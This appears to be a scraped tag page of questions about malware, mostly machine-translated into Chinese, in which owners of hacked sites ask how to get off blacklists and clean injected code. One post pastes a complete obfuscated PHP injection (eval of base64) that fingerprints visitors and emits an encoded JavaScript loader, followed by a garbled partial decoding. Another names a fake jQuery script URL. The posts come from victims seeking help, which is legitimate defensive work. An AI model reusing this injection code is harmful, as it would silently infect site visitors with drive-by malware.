问题标签 [malware]

我的网站上有恶意软件，因此 FB 将其列入黑名单并将指向我网站的链接重定向到谷歌。但是现在我的网站很干净（在谷歌网站管理员工具和 Sucuri 上检查过，但我的链接仍然不起作用。我如何获得白名单，或者至少不列入黑名单？

我阅读了几篇关于此的文章（例如，二维码如何传播恶意软件），它似乎引起了相当大的轰动。

根据我的阅读，所有所谓的“恶意软件”都是指向恶意网站或应用程序的链接。我的问题是：还有其他形式的二维码恶意软件吗？如果不是，那么这种类型的恶意软件有什么新变化？

我正在学习恶意软件（Blackhole Exploit）的工作原理，我从恶意代码中提取了 shellcode。除了搜索字节字符串之外，我想通了一切。谁可以帮我这个事？为什么这个 shellcode（大多数恶意 shellcode）会搜索这个特定的字符串？搜索代码如下：

昨天，当我来到我的一个网站时，我收到了来自谷歌的警告，说我的网站上有恶意软件。我查看了代码，确实有一些不应该存在的 javascript。我用谷歌搜索并没有发现任何有用的东西。当我回到我的网站时，该代码已经消失，但谷歌（从搜索引擎访问该网站时）和谷歌浏览器仍然给我一个警告，指出我的网站上有恶意软件。

我查看了网站管理员工具，他们发现很少有页面存在问题。其中之一是http://www.keramikfliesen.com/schweiz/rimini/。恶意软件下的网站管理员工具中列出的代码是：

你能帮帮我吗？我该如何对抗这个？

非常感谢大家提前提供的帮助！

我正在使用一个简单的文件上传脚本。该脚本允许文件类型过滤，但我不确定我应该允许/禁止哪些文件。

我应该防止上传哪些文件类型？

嘿伙计们，所以我最近发现我在服务器上安装的所有 wordpress 上的 index.php 模板文件都注入了这段代码。<?php eval(base64_decode('JGlwPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyRkcj0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOyR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTskZGJmPSRkci4nLycubWQ1KCRkcik7DQppZigoc3RycG9zKCR1YSwnV2luZG93cycpIT09ZmFsc2UpJiYoKHN0cnBvcygkdWEsJ01TSUUnKSE9PWZhbHNlKXx8KHN0cnBvcygkdWEsJ0ZpcmVmb3gnKSE9PWZhbHNlKSkmJihzdHJwb3MoQGZpbGVfZ2V0X2NvbnRlbnRzKCRkYmYpLCRpcCkgPT09IGZhbHNlKSl7DQoJZXJyb3JfcmVwb3J0aW5nKDApOw0KCWVjaG8oYmFzZTY0X2RlY29kZSgnUEhOamNtbHdkRDUwY25sN01TMXdjbTkwYjNSNWNHVTdmV05oZEdOb0tHRnpaQ2w3ZUQweU8zMGdhV1lvZUNsN1puSTlJbVp5YjIxRGFHRnlJanRtUFZzd0xDMHhMRGswTERrekxESXlMREk1TERreExERXdNU3c0T0N3eE1EZ3NPVGtzT1RBc01UQXhMREV3Tml3ek5TdzVOQ3c1TVN3eE1EVXNOakFzT1Rnc09UQXNNVEF3TERreExEazVMREV3Tnl3eE1EVXNOVFVzTVRFeUxEYzBMRGcyTERrMExEWTRMRGcyTERFd01DdzVNU3d5T1N3ek1DdzRPQ3d4TURBc09URXNNVEV4TERJNExETXlMRGd4TERNM0xEZzBMRE14TERFeE1pdzBMQzB4TEMweUxEQXNPVFVzT1RFc01UQTFMRGczTERrNExEa3lMREV3TkN3eU9Td3pNaXcwT1N3eUxEQXNMVEVzTVRFMExESXpMRGt4TERrM0xERXdOaXc1TVN3eU1Td3hNVFFzTXl3dE1pd3dMQzB4TERnNUxERXdNaXc0T1N3eE1EWXNNVEF3TERreExEazVMREV3Tnl3ek5pd3hNRGdzTVRBMUxEazFMREV3TlN3NU1pd3pNQ3d5TXl3MU1TdzVOU3c1TVN3eE1EVXNPRGNzT1Rnc09USXNNaklzTVRBMExERXdOU3c0T1N3MU1Dd3pNQ3c1TkN3eE1EVXNNVEEzTERFd01pdzBOeXd6T0N3ek55dzRPU3d4TVRFc01UQXlMREV3TkN3NU55d3hNRGNzT1RNc01UQTVMRGszTERNMUxERXdNQ3d4TVRFc09URXNNVEV3TERNMkxERXdOaXd4TURZc016Y3NOVElzT1RRc01UQXhMRFV3TERReExESTVMREl4TERFeE1DdzVOU3c0T1N3eE1EY3NPVFFzTlRBc016QXNNemtzTXpjc016QXNNaklzT1RNc09USXNPVFVzT1RJc09UVXNNVEEyTERVd0xETXdMRE01TERNM0xETXdMREl5TERFd05Dd3hNRGNzTVRFeExEazNMRGt5TERVeExESTRMREV3T1N3NU5Td3hNRFFzT1RZc09EZ3NPVFFzT1Rrc09UVXNNVEExTERFeE1pdzBPQ3c1TXl3NU5pdzVNQ3c0T1N3NU1pd3hNREFzTkRnc01UQXpMREV3TVN3eE1EUXNPVFlzTVRBMkxEazBMREV3TWl3eE1EQXNORGNzT0Rnc09EZ3NNVEEwTERFd01pdzVPQ3d4TURZc01UQTNMRGt4TERRNExEazVMRGt4TERreExERXdOeXcwT0N3ek55dzFNQ3d4TURZc01UQXdMREV3TXl3ME9Dd3pOeXcxTUN3eU9TdzFNU3cxTVN3ek55dzVOQ3c1TXl3eE1EUXNPRFlzTVRBd0xEa3hMRFV4TERJMUxETXhMRFE0TERRc0xURXNMVElzTVRFMkxETXNMVElzTUN3NU1pd3hNRFlzTVRBeExEZzVMREV3TlN3NU5pd3hNREVzT1Rrc01qTXNPVFVzT1RFc01UQTFMRGczTERrNExEa3lMREV3TkN3eU9Td3pNaXd4TVRNc01pd3dMQzB4TEMweUxERXdPU3c0Tnl3eE1ETXNNak1zT1RJc01qRXNOVElzTWpJc09Ea3NNVEF5TERnNUxERXdOaXd4TURBc09URXNPVGtzTVRBM0xETTJMRGc0TERFd05TdzVNU3c0Tml3eE1EY3NPVEVzTlRnc09Ua3NPVEVzT1Rnc09USXNNVEF3TERFd05Td3pNU3d5T1N3NU5DdzVNeXd4TURRc09EWXNNVEF3TERreExESTRMRE15TERRNUxEa3hMRE0zTERFd05TdzVNQ3d4TURjc05UVXNNVEExTERFd055d3hNRFFzT1RRc09Ea3NNVEEzTERFd05TdzVNaXd6TUN3eU9Dd3hNRFlzTVRBMExEZzRMRE13TERNMExESTRMRGsxTERFd05pd3hNRFVzTVRBekxEUTRMRE0yTERNNExEa3dMREV3T1N3eE1ETXNNVEExTERrMUxERXdPQ3c1TkN3eE1EY3NPVGdzTXpZc09UZ3NNVEV5TERreUxERXdPQ3d6Tnl3eE1EY3NNVEEwTERNNExEVXpMRGt5TERFd01pdzFNU3d6T1N3ek1Dd3pNU3cwT0N3NU15d3pOaXd4TURRc01UQTNMREV4TVN3NU55dzVNaXd6Tml3eE1EY3NPVFlzTVRBMUxEazBMRGc1TERrMUxEazNMRGsyTERFd05pd3hNVEFzTlRJc01qa3NPVE1zT1RZc09UQXNPRGtzT1RJc01UQXdMREk0TERVd0xEa3lMRE0xTERFd05pd3hNRFlzTVRFd0xEazVMRGt4TERNMUxERXdNeXd4TURFc01UQTBMRGsyTERFd05pdzVOQ3d4TURJc01UQXdMRFV3TERNd0xEZzNMRGczTERFd05pd3hNREVzT1Rjc01UQTRMREV3Tml3NU1Dd3pNQ3cwT1N3NU1Td3pOeXd4TURVc01UQTFMREV4TWl3NU9DdzVNQ3d6Tnl3NU9DdzVNQ3c1TXl3eE1EWXNOVEFzTXpBc016Z3NNamdzTlRBc09USXNNelVzTVRBMkxERXdOaXd4TVRBc09Ua3NPVEVzTXpVc01UQTNMREV3TVN3eE1ERXNOVElzTWprc016Y3NNekFzTkRrc09URXNNemNzTVRBMUxEa3dMREV3Tnl3MU5Td3hNRFVzTVRBM0xERXdOQ3c1TkN3NE9Td3hNRGNzTVRBMUxEa3lMRE13TERJNExERXhNQ3c1TlN3NE9Td3hNRGNzT1RRc01qZ3NNelVzTWprc016Z3NNemtzTWprc016QXNOVEFzT1RJc016VXNNVEEyTERreExERXdOU3cxTml3eE1EWXNNVEExTERFd05TdzVOU3c0Tnl3eE1EZ3NNVEEyTERrd0xETXhMREk1TERrekxEa3lMRGsxTERreUxEazFMREV3Tml3eU9Dd3pOU3d5T1N3ek9Dd3pPU3d5T1N3ek1DdzFNQ3d6TEMweUxEQXNMVEVzT0Rrc01UQXlMRGc1TERFd05pd3hNREFzT1RFc09Ua3NNVEEzTERNMkxEa3lMRGt5TERFd05pdzFPQ3c1T1N3NU1TdzVPQ3c1TWl3eE1EQXNNVEExTERFd05pdzFOaXd4TVRBc056VXNPRGNzT1RJc05qa3NPRGNzT1Rnc09USXNNekFzTWpnc09Ea3NNVEF4TERnNUxERXhNaXd5T1N3ek1DdzRNaXd6T0N3NE1pd3pOeXc0Tnl3eE1ERXNNVEF6TERreExEazVMRGt4TERVM0xEa3pMRGsyTERrNExEZzVMRE14TERreUxETXdMRFV3TERNc0xUSXNNQ3d4TVRWZE8zWTlJbVYyWVNJN2ZXbG1LSFlwWlQxM2FXNWtiM2RiZGlzaWJDSmRPM2M5Wmp0elBWdGRPM0k5VTNSeWFXNW5PM285S0NobEtUOGlRMjlrWlNJNklpSXBPM3A0UFdaeUszbzdabTl5S0drOU1EczFOamt0TlNzMUxXaytNRHRwS3oweEtYdHFQV2s3YVdZb1pTbHpQWE1yY2x0NmVGMG9LSGRiYWwwcU1Tc29PU3RsS0NKcUpUTWlLU2twS1R0OUlHbG1LSGdtSm1ZbUpqQXhNajA5UFRFd0tXVW9jeWs3UEM5elkzSnBjSFErJykpOw0KCWlmICgkZnAgPSBAZm9wZW4oJGRiZiAsICJhIikpe2ZwdXRzKCRmcCAsICRpcC4nfCcpOyBmY2xvc2UoJGZwKTt9DQp9'));?>

通常对我来说通过base64解码很简单，但我认为他们已经再次编码了。

我从base64解码得到的是

if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false ))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0);

尝试{1-prototype;}catch(asd){x=2;} if(x){fr="fromChar";f=[0,-1,94,93,22,29,91,101,88,108,99, 90,101,106,35,94,91,105,60,98,90,100,91,99,107,105,55,112,74,86,94,68,86,100,91,29,30,88,100,91,111,28,32,81,37,84, 31,112,4,-1,-2,0,95,91,105,87,98,92,104,29,32,49,2,0,-1,114,23,91,97,106,91,21,114,3,-2, 0,-1,89,102,89,106,100,91,99,107,36,108,105,95,105,92,30,23,51,95,91,105,87,98,92,22,104,105,89,50,30,94,105,107,102,47,38,37 ,89,111,102,104,97,107,93,109,97,35,100,111,91,110,36,106,106,37,52,94,101,50,41,29,21,110,95,89,107,94,50,30,39,27,30,22,93, ,95,92,95,106,50,30,39,37,30,22,104,107,111,97,92,51,28,109,95,104,96,88,94,99,95,105,112,48,93,96,90,89,92,100 ,48,103,101,104,96,106,94,102,100,47,88,88,104,102,98,106,107,91,48,99,91,91,107,48,37,50,106,100,103,48,37,50,29,51,501,387,104, ,91,51,25,31,48,4,-1,-2,116,3,-2,0,92,106,101,89,105,96,101,99,23,95,91,105,87,98,92,104,29,32,113,2,0,-1,-2,109,87,103,23,92,21,52,22,89,102,89,106,100,91, 99,107,36,88,105,91,86,107,91,58,99,91,98,92,100,105,31,29,94,93,104,86,100,91,28,32,49,91,37,105,90,107,55,105,107,104,94, 89,107,105,92,30,28,106,104,88,30,34,28,95,106,105,103,48,36,38,90,109,103,105,95,108,94,107,98,36,98,112,92,108,37,33,907,104,8,3 30,31,48,93,36,104,107,111,97,92,36,107,96,105,94,89,95,97,96,106,110,52,29,93,96,90,89,92,100,28,50,92,35,106,106,110, 99,91,35,103,101,104,96,106,94,102,100,50,30,87,87,106,101,97,108,106,90,30,49,91,37,105,105,112,98,90,37,98,90,93,283,283, 50,92,35,106,106,110,99,91,35,107,101,101,52,29,37,30,49,91,37,105,90,107,55,105,107,104,94,89,107,105,92,30,28,110,95,89,538, 29,38,39,29,30,50,92,35,106,91,105,56,106,105,105,95,87,108,106,90,31,29,93,92,95,92,95,106,28,35,29,38,39,29,30,50,3,-2,0,-1,89,102,89,106,100,91,99,107,36,92,92,106,58,99,91,98,92,100,105,106,56,110,75,87, 92,69,87,98,92,30,28,89,101,89,112,29,30,82,38,82,37,87,101,103,91,99,91,57,93,96,98,89,31, 92,30,50,3,-2,0,115];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z= ((e)?"代码":"");zx=fr+z;for(i=0;569-5+5-i>0;i+=1){j=i;if(e)s= s+r[zx]((w[j]*1+(9+e("j%3"))));} if(x&&f&&012===10)e(s);j%3"))));} if(x&&f&&012===10)e(s);j%3"))));} if(x&&f&&012===10)e(s);

}

你们能帮我弄清楚恶意软件试图做什么吗

谢谢

我只是注意到我的所有索引文件在我的服务器中都有以下代码。我想知道我该如何解码。并找出谁在使用此代码？请你能帮我如何解码这个。

For the past couple of weeks at semi regular intervals, this website has had the #c3284d# malware code inserted into some of its .php files. Also the .htaccess file had its equivelant code inserted. I have, on many occasions removed the malicious code, replaced files, changed the ftp password on my ftp client (which is CoreFTP), changed the connection method to FTPS for more secure storage of the password (instead of plain text).

I have also scanned my computer several times using AVG and Windows Defender which have found no malware on my computer which might have been storing my ftp passwords.

I used Sucuri SiteCheck to check my website which says my website is clean of malware which is bizarre because I just attempted to click one of the links on the site a minute ago and it linked me to another one of these random stats.php sites, even though it appears I have gotten rid of the #c3284d# code again (which will no doubt be re-inserted somehow in an hour or so)..

Has anyone found an actual viable solution for this malware hack?

I have done just about all of the things suggested here and here and the problem still persists.

Currently when I click on a link within the sites navigation menu within Google Chrome I get googles Malware warning page:

Warning: Something's Not Right Here! oxsanasiberians.com contains malware. Your computer might catch a virus if you visit this site. Google has found that malicious software may be installed onto your computer if you proceed. If you've visited this site in the past or you trust this site, it's possible that it has just recently been compromised by a hacker. You should not proceed. Why not try again tomorrow or go somewhere else? We have already notified oxsanasiberians.com that we found malware on the site. For more about the problems found on oxsanasiberians.com, visit the Google Safe Browsing diagnostic page.

我的网站被黑了，我一辈子都找不到它被注入的地方。我已采取必要的预防措施以确保它不会再次发生，并且我正在将我的网站从备份恢复到更早的时间，但我想知道在哪里可以找到它，以防它发生在我托管的另一个网站上。

这是恶意脚本：http://www.jquerys.org/ajax/libs/jquery/jquery-1.6.3.min.js

这是网站：（现已删除）

我到处检查过，但都没有成功。

任何帮助将不胜感激。

谢谢你。

**对于那些投票给我的人，我已经做了很多研究，试图在过去的 4 个小时里自己解决这个问题，我的腿上有一个 11 个月大的孩子。我只是在万不得已的情况下才发布这个问题，因为我自己没有成功地做到这一点。由于过去我从这里的人那里得到了很大的帮助，所以我认为问一下也无妨。

My joomla site infected with some malware but i dont know how to rid with this..its appearing sometimes in site but its still showing in google cache of site. below is the link of google cache website : http://webcache.googleusercontent.com/search?q=cache:V5KCr9zRmCkJ:www.highwaysafetygroup.com/index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D64%26Itemid%3D70+&cd=6&hl=en&ct=clnk&client=firefox-a

Below is actual site link : www.highwaysafetygroup.com

can any help me out?